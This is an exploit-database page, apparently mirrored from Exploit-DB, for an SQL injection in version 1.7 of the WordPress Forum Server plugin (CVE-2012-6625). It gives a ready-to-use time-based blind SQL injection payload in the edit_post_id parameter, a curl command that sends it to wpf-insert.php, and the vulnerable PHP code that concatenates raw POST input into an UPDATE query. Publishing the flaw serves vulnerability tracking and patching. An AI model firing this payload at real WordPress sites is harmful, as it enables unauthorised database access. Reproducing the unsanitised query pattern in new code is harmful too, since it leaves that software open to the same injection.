Lucene search
+L

WordPress Plugin Forum Server 1.7 - SQL Injection

🗓️ 13 Sep 2011 00:00:00Reported by Miroslav StamparType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 32 Views

WordPress Plugin Forum Server 1.7 SQL Injection Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2012-6625
13 Sep 201100:00
circl
cve
CVE
CVE-2012-6625
16 Jan 201421:00
cve
cvelist
Cvelist
CVE-2012-6625
16 Jan 201421:00
cvelist
euvd
EUVD
EUVD-2012-6471
7 Oct 202500:30
euvd
nvd
NVD
CVE-2012-6625
16 Jan 201421:55
nvd
patchstack
Patchstack
WordPress WP Forum Server Plugin <= 1.7.3 - SQL Injection
16 Jan 201400:00
patchstack
prion
Prion
Sql injection
16 Jan 201421:55
prion
wpvulndb
WPVulnDB
WP Forum Server <= 1.7.3 - wpf-insert.php edit_post_id Parameter SQL Injection
1 Aug 201410:58
wpvulndb
# Exploit Title: WordPress WP Forum Server plugin <= 1.7 SQL Injection Vulnerability
# Date: 2011-09-07
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/forum-server.zip
# Version: 1.7 (tested)

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/forum-server/wpf-insert.php
 edit_post_submit=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20&edit_post_subject=test&message=dummy&thread_id=1

e.g.
curl --data "edit_post_submit=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20&edit_post_subject=test&message=dummy&thread_id=1" http://www.site.com/wp-content/plugins/forum-server/wpf-insert.php

---------------
Vulnerable code
---------------
if(isset($_POST['edit_post_submit'])){
    $subject = $vasthtml->input_filter($_POST['edit_post_subject']);
    $content = $vasthtml->input_filter($_POST['message']);
    $thread = $vasthtml->check_parms($_POST['thread_id']);
    $edit_post_id = $_POST['edit_post_id'];
    ...
    $sql = ("UPDATE $vasthtml->t_posts SET text = '".stripslashes($content)."', subject = '".stripslashes($subject)."' WHERE id = $edit_post_id");
    $wpdb->query($sql);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Sep 2011 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 27.5
EPSS0.04931
32